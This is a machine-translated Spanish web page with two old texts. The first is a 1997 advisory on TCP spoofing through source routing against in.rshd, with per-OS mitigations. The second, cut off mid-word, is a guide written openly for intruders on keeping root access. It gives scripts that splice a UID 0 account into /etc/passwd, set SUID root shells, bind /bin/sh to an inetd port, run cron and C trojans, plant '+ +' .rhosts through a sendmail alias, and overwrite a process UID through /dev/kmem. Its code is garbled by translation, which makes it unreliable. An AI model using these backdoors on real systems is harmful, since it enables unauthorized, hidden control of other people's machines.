checkmatebreak
  linux
 
Un simple ataque de suplantación TCP En los últimos años, la predicción de secuencia TCP ataques se han convertido en número uno amenaza real contra las redes no protegidas, aprovechando la inherente la confianza presente en las instalaciones de red muchas relaciones. Secuencia TCP ataques número de predicción más comúnmente han sido aplicadas por la apertura de una serie de conexiones con el host de destino, y tratar de predecir el número de orden que se utilizará la próxima. Muchos sistemas operativos han por lo tanto trataron de resolver este problema mediante la aplicación de un método de la generación de números de secuencia en las modas impredecibles. Este método se no resuelve el problema. Este aviso introduce un método alternativo de obtener los primeros Número de secuencia de algunos servicios comunes de confianza. El ataque se presenta aquí no requiere que el atacante para abrir conexiones múltiples, o una inundación de un puerto en el host de confianza para completar el ataque. El único requisito es que paquetes fuente de enrutado se puede inyectar en la red de destino con un falso direcciones de origen. Este aviso asume que el lector ya tiene una comprensión de cómo TCP secuencia de ataques predicción número de su ejecución. El impacto de esta recomendación es muy disminuido debido a la gran cantidad de organizaciones que bloquean fuente de paquetes enrutados y los paquetes con direcciones dentro de sus redes. Por lo tanto, presentar la información como más de una "cabeza arriba" mensaje para la inclinación de vista técnico, y volver a reiterar que la distribución aleatoria de números de secuencia TCP no es una solución eficaz en contra de este ataque. Detalles Técnicos ~~~~~~~~~~~~~~~~~ El problema se produce cuando los demonios particulares aceptar conexiones de red con el enrutamiento de origen habilitado, y proceder a desactivar cualquier fuente de enrutamiento opciones en la conexión. La conexión se permite que continúe, sin embargo el camino inverso ya no se utiliza. Un ataque lanzado contra ejemplo puede el demonio in.rshd, que en la mayoría de los sistemas recuperará la toma de opciones a través de getsockopt () y luego desactivar cualquier opción peligrosa a través de setsockopt (). Un ejemplo es el siguiente ataque. El host A es el host de confianza Host B es el host de destino Casa C es el atacante Casa C inicia una conexión a fuente de enrutado in.rshd en el host B, fingiendo para ser sede A. Casa C spoofing host A -> host B in.rshd Host B recibe el paquete SYN inicial, se crea un nuevo PCB (protocolo bloque de control) y asociados de la ruta con el PCB. Host B responde, utilizando el camino inverso, enviando un paquete SYN / ACK con el número de secuencia. Casa C spoofing de host A <- host B in.rshd Casa C responde, todavía una parodia de una acogida, reconociendo el número de secuencia. opciones de enrutamiento de origen no se requieren en este paquete. Casa C spoofing host A -> host B in.rshd Ahora tenemos una conexión establecida, el accept () llamada se realiza, y el control es pasado ahora a la in.rshd demonio. El demonio hace ahora IP Opciones de comprobación y determina que hemos iniciado una fuente de enrutado conexión. El demonio ahora se apaga esta opción, y cualquier paquete enviado Posteriormente, se envía al host real A, que ya no utilizan a la inversa ruta que hemos especificado. Normalmente, esto estaría a salvo, sin embargo, el atacar de acogida ya sabe lo que el siguiente número de secuencia será. Conocimiento Este número de secuencia, podemos enviar un paquete falso sin que la fuente opciones de enrutamiento habilitado, fingiendo que se originan en el host A, y nuestra comando será ejecutado. En algunas condiciones de la inundación de un puerto en la máquina real A se requiere si es mayor ammounts de los datos son enviados, para evitar que el host real de un responder con un RST. Esto no es necesario en la mayoría de los casos cuando se realiza este ataque contra in.rshd debido a la pequeña cantidad de datos transmitidos. Cabe señalar que el número de secuencia se obtiene antes de aceptar () ha vuelto y que esto no se puede prevenir sin tener que apagar la fuente de enrutamiento en el núcleo. Como nota al margen, tenemos mucha suerte, que asocia TCP sólo una fuente de rutas con un PCB cuando el SYN inicial es recibido. Si lo aceptó y cambió la ip opciones en cualquier momento durante la conexión, los ataques más exóticos puede ser posible. Estas podrían incluir el secuestro de conexiones a través de Internet sin jugar un hombre en medio del ataque y ser capaz de pasar por alto las opciones de control IP impuestas por los demonios con getsockopt (). Por suerte, * BSD basado TCP / IP stacks No hagas esto, sin embargo, sería interesante examinar otras implementaciones. Impacto ~~~~~~ El impacto de este ataque es similar a la secuencia de TCP más compleja ataque número de predicción, sin embargo, implica menos pasos, y no requiere nos "adivinar" la secuencia de números. Esto permite a un atacante ejecutar comandos arbitrarios como root, dependiendo de la configuración de la meta del sistema. Se requiere que la confianza está presente aquí, como ejemplo, el uso de. rhosts o archivos hosts.equiv. Soluciones ~~~~~~~ La solución ideal a este problema es hacer que todos los servicios que se basan en IP caída de autenticación basados en la conexión por completo cuando inicialmente la detección de esa fuente enviados opciones están presentes. Los administradores de red y los usuarios pueden tomar precauciones para evitar que los usuarios fuera de su red que se aprovechen de este problema. Las soluciones se espera ya implementado o se están aplicando. 1. Bloquear cualquier fuente de conexiones enrutadas en sus redes 2. Bloquear todos los paquetes con la dirección interna basada entren en su red. Los administradores de red deben ser conscientes de que estos ataques pueden ser fácilmente lanzado desde detrás de routers y firewalls de filtrado. De servicios de Internet los proveedores y las empresas deben asegurarse de que los usuarios internos no se puede iniciar los ataques descritos. Las precauciones se sugirió anteriormente deberían aplicarse para proteger las redes internas. Código de ejemplo para analizar correctamente las fuentes de paquetes enviados se presenta aquí como ejemplo. Por favor, háganos saber si hay algún problema con él. Este código ha sido probado en sistemas operativos basados en BSD. ] U_char optbuf [BUFSIZ / 3; optsize int = sizeof (optbuf), ipproto, i; struct ip * protoent; if ((ip = getprotobyname ("IP"))! = NULL) ipproto = ip-> p_proto; más ipproto = IPPROTO_IP; if (! getsockopt (0, ipproto, IP_OPTIONS, (char *) optbuf, y optsize) & & optsize! = 0) ( for (i = 0; i servidor El número de parches es U210-037 (normal version) D210-037 (versión doméstica para los sitios que ejecutan la versión kerberizados) BSD / OS 2.1 de enrutamiento de origen tiene desactivado por defecto Las versiones anteriores del buque con el enrutamiento de origen habilitado de forma predeterminada. En lo que sabemos, BSD / OS no se puede configurar a caer derrotado paquetes destinados fuente por sí mismo, sin embargo se puede configurar para prevenir la transmisión de tales paquetes cuando actúa como una puerta de enlace. Para determinar si el reenvío de paquetes enrutados de origen está habilitada, ejecute el siguiente comando: # Sysctl net.inet.ip.forwarding # Sysctl net.inet.ip.forwsrcrt La respuesta será 0 ó 1, 0 significa apagado, y 1 lo que significa que está activado. Transmisión de los paquetes enrutados de origen puede ser desactivado a través de: # Net.inet.ip.forwsrcrt sysctl-w = 0 Transmisión de todos los paquetes, en general, se puede apagar a través de: # Net.inet.ip.forwarding sysctl-w = 0 --- OpenBSD Se envía con el enrutamiento de origen desactivado por defecto. Para determinar si la fuente el enrutamiento está habilitado, el comando siguiente se pueden emitir: # Sysctl net.inet.ip.sourceroute La respuesta será 0 ó 1, 0 lo que significa que el enrutamiento de origen está apagado, y 1 lo que significa que está activado. Si el enrutamiento de origen se ha encendido, apague a través de: # Net.inet.ip.sourceroute sysctl-w = 0 Esto evitará que OpenBSD de expedición y aceptación de cualquier fuente de enrutado paquetes. --- FreeBSD Se envía con el enrutamiento de origen desactivado por defecto. Para determinar si la fuente el enrutamiento está habilitado, el comando siguiente se pueden emitir: # Sysctl net.inet.ip.sourceroute La respuesta será 0 ó 1, 0 lo que significa que el enrutamiento de origen está apagado, y 1 lo que significa que está activado. Si el enrutamiento de origen se ha encendido, apague a través de: # Net.inet.ip.sourceroute sysctl-w = 0 --- Linux Linux por defecto tiene el enrutamiento de origen con discapacidad en el núcleo. --- Solaris 2.x Se envía con un enrutamiento de origen habilitado de forma predeterminada. Solaris 2.5.1 es uno de los unos pocos sistemas operativos comerciales que tiene la secuencia impredecible números, que no ayuda en este ataque. No sabemos de ningún método para prevenir el Solaris de aceptar fuente de enrutado conexiones, sin embargo, los sistemas Solaris actuando como vías de acceso se pueden prevenir de transmisión de cualquier fuente de paquetes enrutados a través de los siguientes comandos: # Ndd-set / dev / ip ip_forward_src_routed 0 Usted puede evitar el reenvío de todos los paquetes a través de: # Ndd-set / dev / ip ip_forwarding 0 Estos comandos pueden ser añadidos a / etc/rc2.d/S69inet a surtir efecto en el arranque. --- SunOS 4.x No sabemos de ningún método para prevenir el SunOS aceptar fuente de enrutado conexiones, sin embargo es un parche para evitar availible sistemas de SunOS fuente de reenvío de paquetes enrutados. Este parche es availible en: ftp://ftp.secnet.com/pub/patches/source-routing-patch.tar.gz Para configurar SunOS para prevenir la transmisión de todos los paquetes, los siguientes comando puede emitirse: # Echo "ip_forwarding / w 0" | "adb-k-w / vmunix / dev / mem # Echo "ip_forwarding? W 0" | "adb-k-w / vmunix / dev / mem El primer comando desactiva el reenvío de paquetes en / dev / mem, la segunda en / Vmunix. --- HP-UX HP-UX no parece haber opciones para configurar un sistema HP-UX para evitar que la aceptación o de envío de paquetes enrutados de origen. HP-UX ha IP transmisión activada por defecto y debe ser apagado en caso de actuar como un cortafuegos. Para determinar si el reenvío de IP se encuentra actualmente en los siguientes comando puede emitirse: adb "# / HP-UX ipforwarding? X <- la entrada del usuario ipforwarding: ipforwarding: 1 # Una respuesta de 1 indica el reenvío de IP está activado, 0 indica apagado. HP-UX puede ser configurado para prevenir la transmisión de los paquetes a través de los siguientes comandos: # "Adb-w / hp-ux / dev / kmem ipforwarding / W 0 ipforwarding? W 0 ^ D # --- AIX AIX no se puede configurar para descartar fuente de paquetes enviados destinados a la misma, Sin embargo, puede ser configurado para prevenir la transmisión de paquetes enrutados de origen. el reenvío de IP y transmisión de paquetes enrutados de origen específica puede ser desactivado en AIX a través de los siguientes comandos: Para desactivar el reenvío de todos los paquetes: # / Usr / sbin / ipforwarding ningún-o = 0 paquetes Para desactivar el desvío de la fuente de enrutado: # / Usr / sbin / nonlocsrcroute ningún-o = 0 Tenga en cuenta que estos comandos deben ser añadidos a / etc / rc.net Si apagar el enrutamiento de origen no es posible y está utilizando todavía los servicios que dependen de la autenticación de dirección IP, que deben ser desactivados inmediatamente (in.rshd, in.rlogind). in.rlogind es seguro si. rhosts y / Etc / hosts.equiv no se utilizan. Atribuciones ~~~~~~~~~~~~ Gracias a Niels Provos para proporcionar la información y los detalles de este ataque. Puedes ver su web sitio en http://www.physnet.uni-hamburg.de/provos Gracias a Theo de Raadt, el responsable de la transmisión de estos OpenBSD información para nosotros. Más información en OpenBSD se puede encontrar en http://www.openbsd.org Gracias a Keith Bostic para el debate y una rápida solución para BSD / OS. Gracias a Brad Powell a suministrar la información para Solaris 2.xy SunOS 4.x sistemas operativos. Agradecemos a CERT y AusCERT para las recomendaciones en este documento informativo. Puedes contactar con el autor de este documento informativo en oliver@secnet.com ----- BEGIN PGP ----- BLOQUE CLAVE PUBLICA Versión: 2.6.3ia mQCNAzJATn0AAAEEAJeGbZyoCw14fCoAMeBRKiZ3L6JMbd9f4BtwdtYTwD42/Uz1 + A/4UiRJzRLGhARpt1J06NVQEKXQDbejxGIGzAGTcyqUCKH6yNAncqoep3 PKIQJd Kd23buvbk7yUgyVlqQHDDsW0zMKdlSO7rYByT6zsW0Rv5JmHJh/bLKAOe7p9AAUR tCVPbGl2ZXIgRnJpZWRyaWNocyA8b2xpdmVyQHNlY25ldC5jb20 + iQCVAwUQMkBO fR/bLKAOe7p9AQEBOAQAkTXiBzf4a31cYYDFmiLWgXq0amQ2lsamdrQohIMEDXe8 45SoGwBzXHVh + + gnXCQF2zLxaucKLG3SXPIg nJWhFczX2Fo97HqdtFmx0Y5IyMgU qRgK/j8KyJRdVliM1IkX8rf3Bn ha3xn0yrWlTZMF9nL7iVPBsmgyMOuXwZ7ZB8 + = = Xq4f ----- END PGP PUBLIC BLOCK ----- Nota de Copyright ~~~~~~~~~~~~~~ El contenido de este documento informativo son Copyright (C) 1997 Secure Networks Inc, y puede ser distribuido libremente siempre y cuando no se cobra cuota de distribución, y que el crédito se da a conocer. Usted puede encontrar documentos de seguro Networks en ftp://ftp.secnet.com/pub/papers y avisos en ftp://ftp.secnet.com/advisories Puede navegar por nuestro sitio web en http://www.secnet.com Puede suscribirse a nuestra lista de correo de seguridad de asesoramiento mediante el envío de correo electrónico a majordomo@secnet.com con la línea "subscribe sni-avisos" Ok ..... Usted ha estado trabajando durante toda la noche. Tratar todas las hazañas que se pueda imaginar. El sistema parece ajustado. El sistema se ve reñida. El sistema "es" apretada. Usted ha intentado todo. Predeterminado passwds, passwds adivinar, debilidades NIS, NFS agujeros, es incorrecta permisos, las condiciones de carrera, hazañas SUID, errores Sendmail, etc ... Nada. ESPERE! ¿Qué es eso!?!? A "#"???? ¡Por fin! Después de haber faenado sin fin aparente, que ha conseguido robar la raíz. ¿Y ahora qué? ¿Cómo se puede sostener sobre este precioso super-usuario privilegio que han trabajado tan duro para lograr ....? Este artículo está destinado a mostrar cómo aferrarse a raíz vez que lo tenga. Está dirigido a los hackers y administradores por igual. Desde la perspectiva de la piratería, es obvio lo bueno en este trabajo se lo hace. Admin también pueden beneficiarse de este trabajo. Alguna vez preguntarse cómo ese hacker molestos siempre se las arregla para que aparezca, incluso cuando usted piensa que ha erradicado por completo lo de su sistema? Esta lista no es exhaustiva. Hay tantas maneras de dejar puertas traseras en un equipo UNIX, ya que hay formas en una sola. De antemano Conozca la ubicación de los archivos críticos del sistema. Esto debería ser obvio (Si usted no puede enumerar alguna de la parte superior de la cabeza, dejar de leer ahora, consiga un libro sobre UNIX, lo leyó, a continuación, vuelve a mí ...). La familiaridad con los formatos de archivo passwd (incluyendo el terreno general 7 formato, sistema de convenciones de nombres específicos, los mecanismos de sombreado, etc ..). Conozca vi. Muchos sistemas no tendrán los robusto, fácil de usar editores como Pico y Emacs. Vi también es bastante útil para tener que buscar de forma rápida y editar un archivo de gran tamaño. Si que se está conectando de forma remota (a través de dial-up/telnet/rlogin/whatver) siempre es bueno tener un programa de terminal robusto que tiene una tampón agradable, scroll FAT. Esto será muy útil si deseas cortar y pegar el código, los archivos rc, shell scripts, etc .. El permenance de estas puertas traseras dependerá completamente de la saavy técnica del administrador. La experiencia y administrador experto hará bien en muchos (no todos) de estos "puertas traseras". Pero, si han conseguido robar la raíz, es probable que el admin no es tan hábil (o al día sobre los informes de errores) como debía ser, y muchas de estas puertas pueden estar en su lugar por algún tiempo por venir. Una cosa importante a tener en cuenta, es el hecho de que si usted puede cubrir las pistas durante los primeros robo, nadie será en busca de puertas traseras. Los manifiestos [1] Añadir un UID 0 en cuenta en el archivo passwd. Esta es probablemente la más obvia y descubre rápidamente método de rentry. Lo vuela una bandera roja con el administrador, diciendo que "estamos bajo ataque !!!". Si usted tiene que hacer esto, mi consejo es NO, simplemente anteponer o anexar la misma. Cualquier persona causalmente examinar el archivo passwd va a ver esto. Así que, ¿por qué no palillo en el centro ... #! / Bin / csh # Introduce un UID 0 en cuenta en el medio del archivo passwd. # No es probable que una manera de hacer esto en 1 / 2 de una línea de AWK o SED. Oh, bueno. daemon9@netcom.com # conjunto linecount = `wc-l / etc / passwd` # cd hacer esto en casa. cp / etc / passwd. / # temppass seguridad es lo primero. echo passwd ha linecount $ [1] líneas. @ [Linecount 1] / 2 = @ [Linecount 1] + = 1 # solo queremos los archivos 2 temp echo La creación de dos ficheros, linecount $ [1] Las líneas de cada uno (o que aproximadamente ). split - $ linecount [1]. / temppass cadena # passwd opcional echo "EvilUser:: 0:0: Sr. Siniestro: / home / dulce / home: / bin / csh">>. / xaa cat. />> xab. / xaa mv. / xaa / etc / passwd chmod 644 / etc / passwd # o lo que fuera previamente rm. / * xa. / temppass Hecho eco ... Nunca, jamás, cambiar la contraseña de root. Las razones son obvias. [2] En una línea similar, habilitar una cuenta de discapacitados como UID 0, como Sync. O, tal vez, una cuenta somwhere enterrado profundamente en el passwd ha sido abandonada, y los discapacitados por el administrador de sistemas. Cambiar su UID 0 (y quitar el "*" a partir del segundo campo). [3] Deja un shell SUID root en / tmp. #! / Bin / sh # El favorito de todos ... cp / bin / csh / tmp / .evilnaughtyshell # No es el nombre que ... chmod 4755 / tmp / .evilnaughtyshell Muchos sistemas de ejecutar tareas de cron para limpiar / tmp todas las noches. La mayoría de los sistemas de limpieza / tmp después de un rearranque. Muchos sistemas tienen / tmp montada para no permitir que se ejecute programas SUID. Puede cambiar todo esto, pero si el sistema de archivos comienza a llenarse, la gente puede Aviso ... pero, hey, esto es * * la sección abierta ....). No voy a detallar los cambios necesarios, ya que pueden ser bastante sistema específicos. Echa un vistazo a / var / spool / cron / crontabs / root y / etc / fstab. La Velada [4] El archivo de configuración super-servidor no es el primer lugar un administrador de sistemas se mira, ¿por qué no poner una allí? En primer lugar, algunos Información de fondo: El demonio de Internet (/ etc / inetd) escucha las peticiones de conexión de los puertos TCP y UDP y genera el programa adecuado (generalmente un servidor) cuando llega una solicitud de conexión. El formato del fichero / etc / inetd.conf es simple. Típico líneas de este aspecto: (1) (2) (3) (4) (5) (6) (7) ftp stream tcp nowait, la raíz / usr / etc / ftpd ftpd hablar udp dgram esperar root / usr / etc / ntalkd ntalkd Campo (1) es el nombre de demonio que debe aparecer en / etc / services. Esto le dice a inetd qué buscar en / etc / services para determinar qué puerto debe asociar el nombre del programa con. (2) le dice a inetd que tipo de conexión toma el demonio se espera. TCP utiliza arroyos, y UDP utiliza datagramas. Campo (3) es el campo de protocolo que es uno de los dos protocolos de transporte, TCP o UDP. Campo (4) especifica si o no el demonio es iterativo o concurrente. bandera de esperar 'A' indica que el servidor un proceso de conexión y hacer todas las conexiones posteriores esperar. "NOWAIT" significa que el servidor acepta la conexión, generar un proceso hijo para manejar la conexión y, a continuación, volver a dormir, esperando nuevas conexiones. Campo (5) es el usuario (o más inportantly, el UID) que el demonio se ejecuta como. (6) es el programa que se ejecuta cuando llega una conexión, y es (7) el real de comandos (y los argumentos opcionales). Si el programa es trivial (por lo general no requiere intervención del usuario) inetd puede manejarlo internamente. Esto se hace con una "interna" bandera en los campos (6) y (7). Por lo tanto, para instalar una puerta trasera a mano, elegir un servicio que no se utiliza a menudo, y sustituir el demonio que normalmente se encargue con algo más. Un programa que crea un shell SUID root, un programa que agrega una cuenta de root para que en el archivo / etc / passwd de archivos, etc .. Para la insinuación con impedimentos, intente esto: Abra el archivo / etc / inetd.conf en un editor. Busque la línea que dice lo siguiente: tcp nowait, durante el día corriente de raíz interna y cambiarlo a: NOWAIT día stream tcp / bin / sh sh-i. Ahora debe reiniciar / etc / inetd para que se relea el fichero de configuración. Depende de cómo usted quiere hacer esto. Puedes matar y reiniciar el proceso, (kill -9, / usr / sbin / inetd o / usr / etc / inetd), que TODAS las conexiones de red interuppt (por lo que es una buena idea para hacer esto fuera de las horas punta). [5] Una opción para poner en peligro un servicio bien conocido sería instalar uno nuevo, que se ejecuta un programa de su elección. Uno solución sencilla es crear una capa similar a las carreras por encima de la puerta de atrás. Usted necesita asegurarse de que la entrada aparece en / Etc / services, así como en / inetd.conf / etc. El formato del fichero / etc / servicios es simple: (1) (2) / (3) (4) smtp 25/tcp mail Campo (1) es el servicio, el campo (2) es el número de puerto, (3) es el tipo de protocolo del servicio de espera, y (4) es el nombre común asociados con el servicio. Por ejemplo, añada esta línea a / etc / services: 22/tcp mal mal y esta línea a / etc / inetd.conf: NOWAIT mal stream tcp / bin / sh sh-i Reiniciar inetd como antes. Nota: Potencialmente, se trata de una MUY puertas traseras de gran alcance. No sólo ofrecen rentry locales de cualquier cuenta en el sistema, que ofrecen rentry de * * en cualquier cuenta de cualquier computadora * * en Internet. [6] Cron basado troyano I. Cron es una herramienta de administración del sistema maravilloso. También es una herramienta maravillosa para puertas traseras, ya raíz de crontab, así, ejecute como root ... Una vez más, en función del nivel de experiencia de al administrador del sistema (y la aplicación), este puerta trasera puede o no puede durar. / Var / spool / cron / crontabs / root es donde la lista de root para crontabs normalmente se encuentra. Aquí, usted tiene varias opciones. Voy a enumerar una muy pocos, como backdoors base cron sólo están limitadas por su imaginación. Cron es el demonio del reloj. Es una herramienta para ejecutar comandos de forma automática en las fechas establecidas y los tiempos. Crontab es el comando utilizado para agregar, quitar, o ver las entradas de crontab. Es tan fácil de editar manualmente el archivo / var / spool / crontab / archivos raíz como lo es para el uso crontab. Un crontab entrada tiene seis campos: (1) (2) (3) (4) (5) (6) 0 0 * * 1 / usr / bin / updatedb Campos (1) - (5) son los siguientes: minuto (0-59), hora (0-23), día del mes (1-31) meses del año (1-12), día de la semana (0-6). Campo (6) es el comando (o shell script) para ejecutar. El script de shell que se ejecuta por encima de los lunes. Para explotar cron, sólo tiene que añadir una entrada en / var / spool / crontab / root. Por ejemplo: Usted puede tener un cronjob, que funcionará todos los días y mirar en la Archivo / etc / passwd para el UID 0 en cuenta que previamente añadido, y añadir si él falta, o no hace nada en otro caso (no puede ser una mala idea real * * insertar el código shell script de shell en un crontab ya instalado entrada, para confundir aún más su intenciones de sombra). Agregue esta línea a / var / spool / crontab / root: 0 0 * * * / usr / bin / trojancode Este es el script de shell: #! / Bin / csh # ¿Es nuestro eviluser todavía en el sistema? Vamos a asegurarnos de que es. daemon9@netcom.com # conjunto evilflag = (`eviluser grep / etc / passwd») if ($ evilflag # == 0) entonces # ¿Está ahí? conjunto linecount = `wc-l / etc / passwd` # cd hacer esto en casa. cp / etc / passwd. / # temppass seguridad es lo primero. @ [Linecount 1] / 2 = @ [Linecount 1] + = 1 # solo queremos los archivos 2 temp split - $ linecount [1]. / temppass cadena # passwd opcional echo "EvilUser:: 0:0: Sr. Siniestro: / home / dulce / home: / bin / csh">>. / xaa cat. />> xab. / xaa mv. / xaa / etc / passwd chmod 644 / etc / passwd # o lo que fuera previamente rm. / * xa. / temppass Hecho eco ... más endif [7] basado en Cron troyano II. Esta fue traído a mi atención por nuestro propio Sr. Zippy. Para ello, necesita una copia de la / Etc / passwd archivo oculto en algún lugar. En este archivo oculto passwd (lo llaman / var / spool / mail / .sneaky) no tenemos más que una entrada, una raíz cuenta con un password de su elección. Corremos un cronjob que, todas las mañanas a las 2:30 de la mañana (o cada otro día), salvo uno copia de lo real / etc / passwd, e instalar un troyano de este como el verdadero archivo / etc / passwd para un minuto (sincronizar muestras!). Cualquier usuario normal o proceso de tratar de ingresar o acceder al archivo / etc / passwd se obtiene un error, pero más tarde un minuto, todo estaría bien. Añada esta línea al archivo crontab de root: 29 2 * * * / bin / usr / sneakysneaky_passwd asegurarse de que esto existe: # Echo "root: 1234567890123:0:0: Operador: /: / bin / csh"> / var / spool / mail / .sneaky y este es el script de shell sencillo: #! / Bin / csh # Troyano Instalar / etc / passwd de un minuto daemon9@netcom.com # cp / etc / passwd / etc / .temppass cp / var / spool / mail / .sneaky / etc / passwd del sueño 60 mv / etc / .temppass / etc / passwd [8] Compilado troyano código. Simple idea. En lugar de un script de shell, tienen algo de código C bueno confundir los efectos. Aquí está. Asegúrese de que se ejecute como root. Nombre que innocous algo. Ocultar bien. / * Un troyano poco para crear un shell SUID root, si el argumento es correcto determinado. código en C, en lugar de concha para ocultar evidentes sus efectos. * / / * * Daemon9@netcom.com / # Include # Define Palabras Clave "industry3" # Define BufferSize 10 int main (argc, argv) int argc; char * argv [], ( int i = 0; if (argv [1]) (/ * tenemos un argumento, es la palabra clave? * / if (! (strcmp (palabra clave, argv [1 ]))){ / * Esta es la parte de Troya. * / sistema ("cp / bin / csh / bin/.swp121"); sistema ("chown root / bin/.swp121"); sistema ("chmod 4755 / bin/.swp121"); ) ) / * Pone troyano de su sistema, posiblemente, específica Mensajes de aquí * / / * Vamos a ver como estamos haciendo algo ... * / printf ("Sincronización de archivos de imagen de mapa de bits."); / * Del sistema ("ls-ALR /> / dev / null> / dev / null &") * / for (; i <10; i + +) ( fprintf (stderr ,"."); del sueño (1); ) printf ("nDone . n"); return (0); ) / * Fin de main / [9] Los alias de sendmail. El alias de sendmail permite el correo enviado a un usuario particular, ya sea para ampliar a varios usuarios, o tal vez la salida a un programa. Más conocido de ellos es el troyano alias uudecode. Sólo tienes que añadir la línea: "Descifrar:" | / usr / bin / uudecode " al archivo / etc / aliases. Por lo general, a continuación, se crearía un uuencoded. Rhosts con la ruta completa incrustado. #! / Bin / csh # Creamos nuestra. Rhosts. Nota esta es la salida a la salida. echo "+ +" tmpfile> / Usr / bin / tmpfile uuencode / root / .rhosts telnet Junto al sitio deseado, el puerto 25. Simplemente fakemail para decodificar y su uso como objeto el cuerpo, la versión de la uuencoded . Rhosts. Para una línea uno (no falsos, sin embargo) hacer esto: % Echo "+ +" | / usr / bin / uuencode / root / decode@target.com .rhosts mail | Puede ser tan creativo como usted desea en este caso. Usted puede configurar un alias que, al enviar a, se ejecutará un programa de su elección. Muchos de los guiones anteriores y métodos pueden ser empleados aquí. La Secreta [10] Código de Troya en programas comunes. Este es un método más astuto que realmente sólo es detectable por los programas de tripwire tales. La idea es sencilla: insertar código troyano en la fuente de un programa de uso común. Algunos de los más programas útiles para nosotros en esta caso son su, login y password, ya que ya ha ejecutado SUID root, y no necesitan modificación permiso. A continuación se presentan algunas ejemplos general de lo que querría hacer, una vez obtenido el código fuente correcta para el particular sabor de UNIX que son backdooring. (Nota: Esto no siempre es posible, ya que algunos vendedores de UNIX no son tan generosos con su código fuente.) Dado que el código es muy largo y para muchos sabores diferentes, me limitaré a incluir de base pseudo-código: entrada de conseguir; si la entrada es especial pabellón codificados, de desove troyano mal; else if entrada es válida, continúe; más dejar de fumar con el error; ... No complejo o difícil. Troyanos de este tipo se puede hacer en menos de 10 líneas de código adicional. El Esotérico [11] / dev / kmem explotar. Representa el virtual del sistema. Dado que el núcleo mantiene sus parámetros en la memoria, es posible modificar la memoria de la máquina para cambiar el UID de sus procesos. Para ello se requiere que / dev / kmem de lectura y escritura permiso. Los siguientes pasos se ejecutan: Abra el dispositivo / dev / kmem, busque a su página en la memoria, sobreescribir el UID de su proceso actual, a continuación, generar un csh, que heredarán este UID. El siguiente programa hace exactamente eso. / * Si / kmem es es lectura y escritura, este programa va a cambiar el usuario UID y el GID a 0. * / / * Este código apareció originalmente en la "seguridad UNIX: Un práctico tutorial" con algunas modificaciones por daemon9@netcom.com * / # Include # Include # Include # Include # Include # Include # Include # Define Palabras Clave "nomenclature1" usuario struct página de usuario; largo discurso (), userlocation; int main (argc, argv, envp) int argc; char * argv [], * envp [], ( int cuenta, fd; de largo, donde, lseek (); if (argv [1]) (/ * tenemos un argumento, es la palabra clave? * / if (! (strcmp (palabra clave, argv [1 ]))){ fd = (open ("/ dev / kmem", O_RDWR); if (fd <0) ( printf ("No se puede leer o escribir en / dev / n kmem"); perror (argv); salida (10); ) userlocation = dirección (); donde = (lseek (fd, userlocation, 0); if (donde! userlocation =) ( printf ("No se puede tratar de usuario página n"); perror (argv); salida (20); ) count = read (fd, & página de usuario, sizeof (struct usuario)); if (cuenta! = sizeof (struct usuario)) ( printf ("No se puede leer de usuario página n"); perror (argv); salida (30); ) printf ("Current UID:% d n", userpage.u_ruid); printf ("GID actual:% d n", userpage.g_ruid); userpage.u_ruid = 0; userpage.u_rgid = 0; donde = lseek (fd, userlocation, 0); if (donde! userlocation =) ( printf ("No se puede tratar de usuario página n"); perror (argv); salida (40); ) write (fd, & página de usuario, ((char *) & (userpage.u_procp ))-(( char *) & página de usuario)); execle ("/ bin / csh," / bin / csh, "-i", (char *) 0, envp); ) ) ) / * Fin de main / # Include # Include # Include # Define LNULL ((* LDFILE) 0) largo discurso () ( * LDFILE objeto; SYMENT símbolo; idx largo = 0; objeto = ldopen ("/ unix", LNULL); if (! objeto) ( stderr fprintf ("No se puede abrir / unix. n"); salida (50); ) for (; ldtbread (objeto, idx, y símbolo) == SUCCESS; idx + +) ( if (! strcmp ("_u", ldgetname (objeto, símbolo &))) ( stdout fprintf ("Página de usuario se encuentra en 0x% 8.8x n", symbol.n_value); ldclose (objeto); retorno (symbol.n_value); ) ) stderr fprintf ("No se puede leer en la tabla de símbolos / unix. n"); salida (60); ) [12] Dado que el código anterior requiere que / dev / kmem mundo para ser accesibles, y esto no es probable que un acontecimiento natural, tenemos que tomar cuidado de esta. Mi consejo es escribir un script de shell similar a la de [7], que va a cambiar los permisos en / dev / kmem para un cantidad de tiempo (por ejemplo 5 minutos) y luego restaurar los permisos originales. Puedes añadir esta fuente a la fuente en [7]: chmod 666 / dev / kmem dormir siesta # 300 durante 5 minutos chmod 600 / dev / kmem # O lo que era antes Concepto de la cuestión de Infi
 
 
  Existen 57 visitantescheckmate